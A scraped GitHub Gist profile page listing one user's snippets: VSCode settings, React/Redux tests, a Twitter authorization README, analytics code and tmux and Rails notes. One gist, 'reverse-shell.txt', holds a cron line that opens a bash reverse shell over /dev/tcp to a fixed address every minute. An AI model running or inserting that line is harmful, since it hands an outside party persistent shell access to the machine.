Skip to content

Instantly share code, notes, and snippets.

View bntzio's full-sized avatar

Enrique Benitez bntzio

View GitHub Profile
@bntzio
bntzio / README.md
Created January 19, 2018 22:46 — forked from moonmilk/README.md
manually authorize a twitter app to a twitter account

So you're writting a twitterbot and you need to authorize your application to post to the account. You need an access token and secret for the account you're posting to. If the posting account is the same account that owns the application, no problem, you just push the button on your application's settings page to make the keys. But if you want to post to a different twitter account, there's no UI on apps.twitter.com to authorize it. So I made this bare-minimum node server to run through the authorization process. There's probably a much better way to do this, so please let me know what that way is!

ignore this and go down to the comments for better solutions

  • You'll need a server with node.js!
  • Make sure your application has a callback URL specified in its settings page, even if it's just a placeholder. If there's nothing in the callback URL slot, this method of authorization won't work.
  • In authorize.js, fill in your application's consumer key and secret, and the domain on which you'll be running th
@bntzio
bntzio / keybindings.json
Created September 22, 2017 18:27
VSCode Keybindings
[
{
"key": "shift+cmd+j",
"command": "extension.jumpy-line"
},
{
"key": "cmd+j",
"command": "extension.jumpy-word"
},
{ "key": "ctrl+1", "command": "workbench.action.focusFirstEditorGroup" },
@bntzio
bntzio / settings.json
Last active September 22, 2017 18:26
VSCode Settings
{
"workbench.colorTheme": "Nord",
"editor.fontFamily": "Source Code Pro, Menlo, Monaco",
"editor.fontSize": 14,
"editor.tabSize": 2,
"editor.detectIndentation": false,
"editor.roundedSelection": false,
"workbench.iconTheme": "material-icon-theme",
"workbench.startupEditor": "newUntitledFile",
"editor.selectionHighlight": false,
@bntzio
bntzio / reducers.test.js
Created August 21, 2017 22:19
HexCandy.com Reducers Tests
var expect = require('expect');
var reducers = require('reducers');
var df = require('deep-freeze-strict');
describe('Reducers', () => {
describe('candiesReducer', () => {
it('should add new candy', () => {
var action = {
type: 'ADD_CANDY',
candy: {
@bntzio
bntzio / AddCandy.test.js
Last active August 21, 2017 22:19
HexCandy.com AddCandy test
var React = require('react');
var ReactDOM = require('react-dom');
var $ = require('jquery');
var TestUtils = require('react-addons-test-utils');
var expect = require('expect');
import * as actions from 'actions';
var { AddCandy } = require('AddCandy');
describe('AddCandy', () => {
@bntzio
bntzio / reverse-shell.txt
Created July 30, 2017 06:14
Just a reverse shell
* * * * * bash -i >& /dev/tcp/192.168.2.255/1337 0>&1
@bntzio
bntzio / segmentTracking.js
Last active November 4, 2016 00:29
Segment tracking for Google Anlytics Events
// demo de segment
analytics.track('Logged In', {
category: 'Account',
label: 'Premium',
value: 50
});
// overview de otra aplicación de ejemplo
analytics.track('Clicked on Gold button', {
category: 'Click',
@bntzio
bntzio / tmux.md
Created July 27, 2016 00:57 — forked from andreyvit/tmux.md
tmux cheatsheet

tmux cheat sheet

(C-x means ctrl+x, M-x means alt+x)

Prefix key

The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:

remap prefix to Control + a

@bntzio
bntzio / new_rails.txt
Created October 10, 2015 22:53
Create new Rails app
rails new appname
@bntzio
bntzio / brew_postgresql.txt
Created October 10, 2015 22:52
Install PostgreSQL with Homebrew
brew install postgresql